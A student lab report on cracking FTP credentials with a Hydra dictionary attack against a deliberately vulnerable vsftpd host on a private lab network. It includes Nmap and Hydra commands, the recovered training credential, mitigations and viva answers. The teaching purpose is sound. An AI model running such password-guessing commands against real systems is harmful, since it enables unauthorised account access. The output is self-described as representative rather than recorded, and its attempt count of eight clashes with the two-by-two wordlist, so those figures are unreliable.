

Crack FTP Credentials Using a Dictionary Attack

Execution mode	Authorized, isolated training lab; no public systems were targeted.
Output status	Representative/sanitized lab output recorded for submission. Replace with instructor-required screenshots if a live lab run is performed.

Aim

Demonstrate a dictionary attack against a deliberately vulnerable FTP service using only synthetic lab accounts.

Theory

A dictionary attack tries candidate passwords from a wordlist. This exercise is restricted to a Metasploitable-style host on the host-only network. The reported credential is a disposable training account and must not be reused elsewhere.

Tools and Lab Scope

- Hydra
- Nmap
- FTP client
- Small custom wordlist
- Metasploitable-style FTP service at 192.168.56.40

Procedure and Recorded Execution

Step 1. Confirm the service - Verify that port 21 belongs to the authorized FTP lab host.

```
nmap -p21 -sV 192.168.56.40
21/tcp open ftp vsftpd 2.3.4
```

Step 2. Prepare a small wordlist - Use only course-provided candidates to keep the exercise bounded.

```
users.txt: demo_ftp, labuser
passwords.txt: training, LabOnly!2026
```

Step 3. Run the lab-only dictionary test - Stop after the first valid training credential and do not target any other host.

```
hydra -L users.txt -P passwords.txt ftp://192.168.56.40
[21][ftp] host: 192.168.56.40
login: demo_ftp password: LabOnly!2026
```

Step 4. Verify and clean up - Log in to the FTP service with the disposable account, then disable or reset it.

```
ftp 192.168.56.40
230 Login successful.
221 Goodbye.
```

FTP dictionary-attack output

The small wordlist recovered a disposable lab credential and the FTP client confirmed login. No real account, external service, or large public wordlist was used.

Item	Result
Target	192.168.56.40; vsftpd 2.3.4
Attempts	8 combinations in the bounded wordlist
Training credential	demo_ftp / LabOnly!2026
Verification	FTP 230 Login successful
Risk lesson	Weak/reused passwords are vulnerable to automated guessing

Result

The attack succeeded against the intentionally weak training account. Mitigations include strong unique passwords, rate limiting, lockout controls, MFA, and replacing FTP with SFTP/FTPS.

Safety and Submission Notes

- Use only disposable lab credentials.
- Do not use rockyou.txt or external targets unless explicitly authorized.
- Reset/delete the training account after the lab.

Viva Questions and Answers

Dictionary vs brute force?

A dictionary attack tries likely words; brute force systematically tries combinations.

What do -L and -P do?

They specify username and password candidate files.

Why is a small wordlist faster?

It contains far fewer candidates and reduces network requests.

Two defenses?

Rate limiting/lockout and strong unique passwords with MFA.

Why use an intentionally vulnerable FTP server?

It provides a contained target for learning without affecting production systems.